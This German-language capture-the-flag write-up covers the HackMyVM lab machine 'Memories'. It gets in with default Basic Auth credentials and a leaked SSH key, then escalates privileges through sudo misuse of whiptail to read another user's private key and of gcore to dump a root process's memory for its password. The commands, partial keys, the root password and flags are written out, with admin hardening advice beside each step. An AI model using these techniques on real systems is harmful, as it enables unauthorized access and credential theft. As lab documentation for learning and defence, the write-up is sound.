Memories - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi / nano
nmap
gobuster
nikto
Burp Suite (impliziert)
base64
CyberChef (impliziert)
chmod
ssh
sudo
ls
cat
whiptail
gcore
strings
ps
grep
awk
xargs
Bash Scripting (while loop)
su
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:ed:99:c8	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird durchgeführt, um aktive Hosts im lokalen Netzwerk zu finden.

Bewertung: Der Host `192.168.2.110` wird identifiziert. Die MAC-Adresse gehört zu Oracle VirtualBox.

Empfehlung (Pentester):** Ziel-IP ist bekannt. Führen Sie einen Portscan durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
[Inhalt der Datei nach Bearbeitung]
...
192.168.2.110  memories.hmv
...

Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um `memories.hmv` der IP `192.168.2.110` zuzuordnen.

Bewertung: Nötig, falls Webdienste oder andere Services auf diesem Hostnamen konfiguriert sind.

Empfehlung (Pentester):** Ermöglicht die Verwendung des Hostnamens in Tools.
Empfehlung (Admin):** Korrekte DNS-/vHost-Konfiguration.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.110 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-12 00:50 CET
Nmap scan report for memories.hmv (192.168.2.110)
Host is up (0.000098s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 d366a30a23d346e1e66cffef2d0dad7c (RSA)
|   256 9335938f6b7b1f11ce3adb0915a5e1ac (ECDSA)
|_  256 364ecb296d6419491547d068d40fc6a5 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:ED:99:C8 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 4.15 - 5.6 (97%), Linux 5.0 - 5.3 (96%), ... (Debian Linux wahrscheinlich)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms memories.hmv (192.168.2.110)

OS and Service detection performed...
Nmap done: 1 IP address (1 host up) scanned in ... seconds

Analyse: Ein detaillierter Nmap-Scan (`-sS`, `-sC`, `-T5`, `-A`, `-p-`) wird auf das Ziel durchgeführt.

Bewertung: Zwei Ports sind offen: * **22 (SSH):** OpenSSH 7.9p1 (Debian 10). Relativ aktuell, aber Version 7.9 hat bekannte User Enumeration Schwachstellen. * **80 (HTTP):** Apache 2.4.38 (Debian) mit der Standard-Debian-Seite. Dies deutet darauf hin, dass die Hauptseite nicht konfiguriert ist, aber möglicherweise virtuelle Hosts oder Verzeichnisse existieren.

Empfehlung (Pentester):** Konzentrieren Sie sich auf den Webserver (Port 80). Führen Sie Verzeichnis-Enumeration durch (`gobuster`, `ffuf`), um versteckte Inhalte oder Anwendungen zu finden. Testen Sie SSH auf User Enumeration (CVE-2018-15473), falls Benutzernamen bekannt werden.
Empfehlung (Admin):** Aktualisieren Sie OpenSSH und Apache. Konfigurieren Sie die Apache-Default-Seite oder leiten Sie auf die eigentliche Anwendung um. Härten Sie die Apache-Konfiguration (z.B. Server-Tokens ausblenden).

Web Enumeration & Initial Access (Basic Auth & SSH)

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.110 -x txt,php,rar,zip,tar,pem,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e
===============================================================
Gobuster v...
...
===============================================================
[+] Url:                     http://192.168.2.110
...
===============================================================
... Starting gobuster ...
===============================================================
http://192.168.2.110/index.html           (Status: 200) [Size: 10701]
http://192.168.2.110/robots.txt           (Status: 200) [Size: 11]
http://192.168.2.110/memories             (Status: 401) [Size: 460] <-- Interessant!
===============================================================
... Finished ...
===============================================================

Analyse: `gobuster` wird zur Verzeichnis-Enumeration auf dem Webserver verwendet.

Bewertung: Neben der `index.html` und einer fast leeren `robots.txt` wird das Verzeichnis `/memories` gefunden. Dieses Verzeichnis gibt einen Statuscode `401 Unauthorized` zurück, was bedeutet, dass es existiert, aber eine Authentifizierung erfordert (wahrscheinlich HTTP Basic Authentication).

[Kein Prompt - Inhalt von http://192.168.2.110/robots.txt]
/memories

Analyse Fortsetzung:** Der Inhalt von `robots.txt` bestätigt das Verzeichnis `/memories`.

Empfehlung (Pentester):** Versuchen Sie, auf `/memories` zuzugreifen. Wenn eine Basic Auth Abfrage kommt, versuchen Sie Standard-Credentials (z.B. `admin:admin`, `admin:password`) oder führen Sie einen Brute-Force-Angriff mit `hydra` durch, falls ein Benutzername bekannt ist oder erraten werden kann.
Empfehlung (Admin):** Verwenden Sie für Verzeichnisschutz idealerweise stärkere Authentifizierungsmethoden als Basic Auth. Wenn Basic Auth verwendet wird, erzwingen Sie starke Passwörter und implementieren Sie Schutz gegen Brute-Force (z.B. `fail2ban`).

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.110
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2022-11-12 00:52:08 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 5be1b1e4c84f7, mtime: gzip
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD <-- POST korrigiert
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7915 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2022-11-12 00:52:23 (GMT1) (15 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Nikto wird verwendet, um nach bekannten Webserver-Schwachstellen und Fehlkonfigurationen zu suchen.

Bewertung: Nikto findet keine kritischen Schwachstellen, meldet aber das Fehlen von Sicherheitsheadern (`X-Frame-Options`, `X-XSS-Protection`, `X-Content-Type-Options`), ein mögliches Inode-Leak über ETags und eine Apache-Standarddatei (`/icons/README`).

Empfehlung (Pentester):** Die Nikto-Ergebnisse liefern keine direkten Einstiegspunkte. Konzentrieren Sie sich auf das `/memories`-Verzeichnis.
Empfehlung (Admin):** Implementieren Sie die fehlenden Sicherheitsheader. Entfernen Sie Standarddateien wie `/icons/README`. Konfigurieren Sie ETags, um keine Inodes preiszugeben (oder deaktivieren Sie ETags).

Analyse: Es wird versucht, auf `/memories` zuzugreifen. Da dies eine Basic Auth erfordert, wird ein HTTP-Request (vermutlich mit Burp Suite) modifiziert, um Standard-Credentials (`admin:admin`) im `Authorization`-Header zu senden. Der Base64-kodierte Wert für `admin:admin` ist `YWRtaW46YWRtaW4=`.

[Kein Prompt - Burp Suite Repeater Request]

POST /memories/ HTTP/1.1 <-- Methode auf POST geändert
Host: 192.168.2.110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Referer: http://192.168.2.110/memories
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Analyse Fortsetzung:** Die Antwort des Servers auf den Request mit `admin:admin`-Credentials wird analysiert.

[Kein Prompt - Burp Suite Repeater Response]

HTTP/1.1 200 OK
Date: Fri, 11 Nov 2022 23:58:34 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Mon, 22 Mar 2021 07:53:48 GMT
ETag: "72e-5be1b5db31096-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 1838
Connection: close
Content-Type: text/html

 <-- Maskierung: < zu <
... (HTML-Inhalt der Seite /memories/) ...

Bewertung: Der Server antwortet mit `HTTP/1.1 200 OK`. Dies bedeutet, dass die Standard-Credentials `admin:admin` für den Zugriff auf `/memories` gültig waren!

Analyse Fortsetzung:** Der HTML-Inhalt der `/memories`-Seite (der in der HTTP-Antwort enthalten ist) wird untersucht. Darin wird der Benutzername `laura` und ein privater SSH-Schlüssel gefunden.

[Kein Prompt - Extrahiert aus dem HTML der /memories Seite]
Benutzername: laura

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA2W+WidI/grDh9S7BHggHhYFtusWhcArliwIzfEUbjxI+YSMxaCpR
PmPQHVy9dMWW0Joml9ShJiH8m2STT4vH36vyWpgBmZRAgm3lnfc/CzzI+onbJ8IkfQiG0
... (SSH Key Body) ...
dWp60QAAAAbGF1cmFAbWVtb3JpZXMBAgMEBQ
-----END OPENSSH PRIVATE KEY-----

Bewertung: Dies ist ein kritischer Fund. Durch die schwachen Basic Auth Credentials (`admin:admin`) konnte auf eine Seite zugegriffen werden, die einen Benutzernamen (`laura`) und den zugehörigen privaten SSH-Schlüssel preisgibt. Der Schlüssel scheint nicht passwortgeschützt zu sein (keine `aes-cbc`-Angabe im Header).

Analyse Fortsetzung:** Der gefundene SSH-Schlüssel wird in einer lokalen Datei (`laurarsa`) gespeichert und die Berechtigungen auf `600` gesetzt.

┌──(root㉿cyber)-[~] └─# nano laurarsa
┌──(root㉿cyber)-[~] └─# chmod 600 laurarsa

Analyse Fortsetzung:** Es wird versucht, sich mit dem gefundenen Schlüssel und dem Benutzernamen `laura` per SSH anzumelden.

┌──(root㉿cyber)-[~] └─# ssh -i laurarsa laura@memories.hmv
The authenticity of host 'memories.hmv (192.168.2.110)' can't be established.
ED25519 key fingerprint is SHA256:134Y8PiTLRvyPe9VY8s4KBQlyghWccugn+abbL+zM.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'memories.hmv' (ED25519) to the list of known hosts.
Linux memories 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
...
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, ...
laura@memories:~$

Bewertung: Der SSH-Login als Benutzer `laura` mit dem gefundenen privaten Schlüssel ist erfolgreich. Der initiale Zugriff auf das System wurde erlangt.

Empfehlung (Pentester):** Führen Sie Enumeration als `laura` durch: Prüfen Sie `sudo -l`, SUID-Dateien, Cronjobs, Home-Verzeichnis. Suchen Sie das User-Flag.
Empfehlung (Admin):** Ändern Sie sofort das Basic Auth Passwort für `/memories`. Entfernen Sie den privaten Schlüssel von der Webseite. Verwenden Sie niemals Standard-Credentials. Private Schlüssel dürfen niemals öffentlich zugänglich sein.

Privilege Escalation (laura zu lucy)

Analyse: Als Benutzer `laura` werden die `sudo`-Rechte überprüft.

laura@memories:~$ sudo -l
Matching Defaults entries for laura on memories:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User laura may run the following commands on memories:
    (lucy) NPASSWD: /usr/bin/whiptail

Bewertung: `laura` darf das Programm `/usr/bin/whiptail` als Benutzer `lucy` ohne Passwort (`NOPASSWD`) ausführen. `whiptail` wird verwendet, um Dialogboxen in der Shell anzuzeigen. Einige Optionen, wie `--textbox`, erlauben das Anzeigen von Dateiinhalten.

Analyse Fortsetzung:** Die Home-Verzeichnisse werden aufgelistet.

laura@memories:~$ ls /home
laura  lucy

Analyse Fortsetzung:** Es wird versucht, die User-Flag von `lucy` direkt zu lesen, was fehlschlägt.

laura@memories:~$ cat ../lucy/user.txt
cat: ../lucy/user.txt: Permission denied

Analyse Fortsetzung:** Die `sudo`-Regel für `whiptail` wird ausgenutzt, um auf Dateien als Benutzer `lucy` zuzugreifen. Es wird versucht, den privaten SSH-Schlüssel von `lucy` (`/home/lucy/.ssh/id_rsa`) mithilfe der `--textbox`-Option von `whiptail` anzuzeigen.

laura@memories:~$ sudo -u lucy /usr/bin/whiptail --textbox /home/lucy/.ssh/id_rsa
[Hilfetext von whiptail wird angezeigt, da Höhe und Breite fehlen]
laura@memories:~$ sudo -u lucy /usr/bin/whiptail --textbox ../lucy/.ssh/id_rsa 40 80
┌──────────────────────────────────────────────────────────────────────────────┐
│                                                                              │
│ -----BEGIN OPENSSH PRIVATE KEY-----                                          │
│ b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn   │
│ NhAAAAAwEAAQAAAQEAvI9G4zVnp7XhQzDNp8mC3rryq7HNtS1+D8gwZEm1EH2Dfuw0Yb    │
│ YCZRWkvaBxM+vAZ+fm7/KdftdShHfDx/Wo/56CIRXCzVjzdPIfyaCxlj5M5h0zZM5QKKND  │
│ txGfWPEhKME+g7F+Hsng2tCzkYI7+H0cn74w3zNXQ7NNHi5FeQ+52eykQ8v0asfDwILq   │
│ iPg/ZrJwnNabJce6igs40lLfTFU4qW5g8b/dkJxH7WQbd86r05YPvrLQEbDnZj9hj8Bdtz │
│ khHfoiRskUYFlGh1oe2ZrLo5AJqp60S1nnbuW0iTM/o/zv4Q0xP/lzVaj3AWJkMulUZz   │
│ ct4slq2mmQAAA8gZnFEaGZxRGgAAAAdzc2gtcnNhAAABAQC8j0bjNWenteFDMM2nw6YL   │
│ ... (Schlüssel gekürzt) ...                                                  │
│ dxndyc7ZgSkAAAAbsdWN5QG1lbW9yaWVzAQIDBA                                    │
│ -----END OPENSSH PRIVATE KEY-----                                          │
│                                                                              │
│                                                                              │
│                                  < Ok >                                      │
└──────────────────────────────────────────────────────────────────────────────┘

Bewertung: Der Exploit funktioniert. Durch Ausführen von `whiptail --textbox` als `lucy` kann `laura` den Inhalt des privaten SSH-Schlüssels von `lucy` lesen. Dieser Schlüssel scheint nicht passwortgeschützt zu sein.

Analyse Fortsetzung:** Der Schlüssel von `lucy` wird extrahiert, in `lucyrsa` gespeichert und die Berechtigungen gesetzt.

┌──(root㉿cyber)-[~] └─# nano lucyrsa
┌──(root㉿cyber)-[~] └─# chmod 600 lucyrsa

Analyse Fortsetzung:** Es wird sich per SSH als `lucy` mit dem extrahierten Schlüssel angemeldet.

┌──(root㉿cyber)-[~] └─# ssh -i lucyrsa lucy@memories.hmv
Linux memories 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
...
Last login: Mon Mar 22 03:37:16 2021 from 192.168.1.58
lucy@memories:~$

Bewertung: Die Privilegieneskalation von `laura` zu `lucy` war erfolgreich, indem eine unsichere `sudo`-Regel für `whiptail` ausgenutzt wurde, um Lucys privaten SSH-Schlüssel zu lesen.

Empfehlung (Pentester):** Lesen Sie nun die User-Flag als `lucy` (`cat user.txt`). Überprüfen Sie die `sudo`-Rechte für `lucy`, um den nächsten Eskalationsschritt zu finden.
Empfehlung (Admin):** Gewähren Sie niemals `sudo`-Rechte für Programme wie `whiptail`, die zum Lesen beliebiger Dateien missbraucht werden können, insbesondere nicht mit `NPASSWD`. Konfigurieren Sie `sudo` nach dem Prinzip der geringsten Rechte.

Privilege Escalation (lucy zu root)

Analyse: Als Benutzer `lucy` werden die `sudo`-Rechte überprüft.

lucy@memories:~$ sudo -l
Matching Defaults entries for lucy on memories:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lucy may run the following commands on memories:
    (ALL : ALL) NOPASSWD: /usr/bin/gcore

Bewertung: Kritischer Fund! `lucy` darf `/usr/bin/gcore` als jeder Benutzer (`ALL`) und jede Gruppe (`ALL`), einschließlich Root, ohne Passwort (`NOPASSWD`) ausführen. `gcore` erstellt einen Core-Dump (Speicherabbild) eines laufenden Prozesses. Da `lucy` `gcore` als Root ausführen kann, kann sie Speicherabbilder von Root-Prozessen erstellen. Diese Abbilder können sensible Informationen wie Passwörter oder Schlüssel enthalten.

Analyse Fortsetzung:** Die User-Flag wird gelesen.

lucy@memories:~$ cat user.txt
imissingsomething

Bewertung: Das User-Flag für `lucy` lautet `imissingsomething`. (Hinweis: Der vorherige Text zeigte ein anderes User-Flag für `icex64`. Hier wird das Flag für `lucy` gefunden).

Analyse Fortsetzung:** Es wird versucht, die `sudo gcore`-Berechtigung auszunutzen. Ein `while true`-Loop wird gestartet, der kontinuierlich versucht, mit `gcore` einen Core-Dump von Prozessen zu erstellen, deren Namen "memories" enthalten (`ps aux | grep memories | awk {'print $2'} | xargs sudo /usr/bin/gcore`). Das Ziel ist, einen kurzlebigen Root-Prozess namens "memories" zu erwischen.

lucy@memories:~$ while true ; do ps -aux | grep memories | awk {'print $2'} | xargs sudo /usr/bin/gcore ; done
ptrace: No such process.
You can't do that without a process to debug.
The program is not being run.
gcore: failed to create core.15975
ptrace: No such process.
... (Viele Fehler, bis der Prozess läuft) ...
[Core dump wird erfolgreich erstellt, z.B. core.15355]

Analyse Fortsetzung:** Nachdem erfolgreich Core-Dumps (z.B. `core.15353`, `core.15355`) erstellt wurden, werden diese mit `strings` nach interessanten Inhalten durchsucht.

lucy@memories:~$ ls
core.15353  core.15355  flag.sh  user.txt
lucy@memories:~$ strings core.15355
...
/root/memories
...
/usr/lib/x86_64-linux-gnu/libc-2.28.so
/usr/lib/x86_64-linux-gnu/ld-2.28.so
...
:::::::::::::::::::::::::::::::::::::::::::::::::
My password is whataboutyourthinking
:::::::::::::::::::::::::::::::::::::::::::::::::
...

Bewertung: Der Angriff war erfolgreich! Der Core-Dump des Prozesses `/root/memories` (der wahrscheinlich als Root lief) wurde erstellt. Die Analyse mit `strings` enthüllt das Root-Passwort im Klartext: `whataboutyourthinking`.

Analyse Fortsetzung:** Mit dem gefundenen Root-Passwort wird mittels `su root` zu Root gewechselt.

lucy@memories:~$ su root
Password: [Passwort whataboutyourthinking eingegeben]
root@memories:/home/lucy#

Analyse Fortsetzung:** Das Root-Flag wird gelesen.

root@memories:/home/lucy# cd
root@memories:~# ls
flag.sh  memories  memories.c  ro0t.txt
root@memories:~# cat ro0t.txt
HMVtakingthisgames

Bewertung: Die Privilegieneskalation zu Root war erfolgreich durch Ausnutzung der `sudo gcore`-Berechtigung zum Auslesen des Root-Passworts aus dem Speicher eines Root-Prozesses. Das Root-Flag (`ro0t.txt`) wurde gefunden und gelesen.

Empfehlung (Pentester):** Dokumentieren Sie die Privilegieneskalation über `sudo gcore`.
Empfehlung (Admin):** Entfernen Sie die `sudo`-Berechtigung für `gcore`. Gewähren Sie `sudo`-Rechte nur für absolut notwendige Befehle. Speichern Sie Passwörter niemals im Klartext im Speicher von Prozessen. Verwenden Sie sichere Methoden zur Authentifizierung und Speicherung von Credentials.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Eskalationskette: Zugriff auf ein geschütztes Webverzeichnis (`/memories`) durch Erraten von Standard-Basic-Auth-Credentials, Fund eines SSH-Keys auf der Seite, SSH-Login als `laura`, Eskalation zu `lucy` durch Ausnutzung einer unsicheren `sudo`-Regel für `whiptail` zum Lesen von Lucys SSH-Key, und schließlich Eskalation zu Root durch Ausnutzung einer unsicheren `sudo`-Regel für `gcore` zum Auslesen des Root-Passworts aus dem Speicher.

POC Schritt 1: Initial Access (laura)

Schwachstellen: Schwache Basic Auth Credentials, Preisgabe eines privaten SSH-Keys.

Schritte:

  1. Finde `/memories` (Status 401) mit `gobuster`.
  2. Sende HTTP Request an `/memories` mit `Authorization: Basic YWRtaW46YWRtaW4=` (`admin:admin`).
  3. Extrahiere Benutzernamen `laura` und SSH-Key aus der Antwort.
  4. Speichere Key als `laurarsa`, `chmod 600 laurarsa`.
  5. Login: `ssh -i laurarsa laura@memories.hmv`.

Ergebnis: Shell als Benutzer `laura`.

POC Schritt 2: Privilege Escalation (laura zu lucy)

Schwachstelle: Unsichere `sudo`-Regel: `(lucy) NPASSWD: /usr/bin/whiptail`.

Voraussetzungen: Shell als `laura`.

Schritte:

  1. Führe `sudo -l` aus, um die Regel zu finden.
  2. Lese Lucys SSH-Key: `sudo -u lucy /usr/bin/whiptail --textbox /home/lucy/.ssh/id_rsa 40 80`.
  3. Extrahiere Key, speichere als `lucyrsa`, `chmod 600 lucyrsa`.
  4. Login: `ssh -i lucyrsa lucy@memories.hmv`.

Ergebnis: Shell als Benutzer `lucy`.

POC Schritt 3: Privilege Escalation (lucy zu root)

Schwachstelle: Unsichere `sudo`-Regel: `(ALL : ALL) NPASSWD: /usr/bin/gcore`, Klartextpasswort im Speicher.

Voraussetzungen: Shell als `lucy`.

Schritte:

  1. Führe `sudo -l` aus, um die Regel zu finden.
  2. Starte Loop, um Core-Dump von `/root/memories` zu erstellen: `while true ; do ps -aux | grep memories | awk {'print $2'} | xargs sudo /usr/bin/gcore ; done`.
  3. Analysiere erstellte Core-Datei(en) mit `strings`, suche nach Passwort (gefunden: `whataboutyourthinking`).
  4. Wechsle zu Root: `su root` (Passwort eingeben).

Ergebnis: Root-Shell.

Beweismittel: Erfolgreicher `su`-Befehl, Lesen von `/root/ro0t.txt` möglich.

Risikobewertung: Hoch. Eine Kette von Fehlkonfigurationen (schwache Basic Auth, exponierter Key, unsichere `sudo`-Regeln) und einer Schwachstelle (Klartextpasswort im Speicher) ermöglicht die vollständige Kompromittierung des Systems.

Empfehlungen:** * **Admin:** Basic Auth härten/ersetzen. Secrets nicht im Webroot speichern. `sudo`-Regeln extrem restriktiv gestalten (kein `whiptail`, kein `gcore`, kein `ALL:ALL NOPASSWD`). Passwörter niemals im Klartext im Speicher halten. * **Pentester:** Die einzelnen Eskalationsschritte und die zugrundeliegenden Fehlkonfigurationen klar dokumentieren.

Flags

cat /home/lucy/user.txt
imissingsomething
cat /root/ro0t.txt
HMVtakingthisgames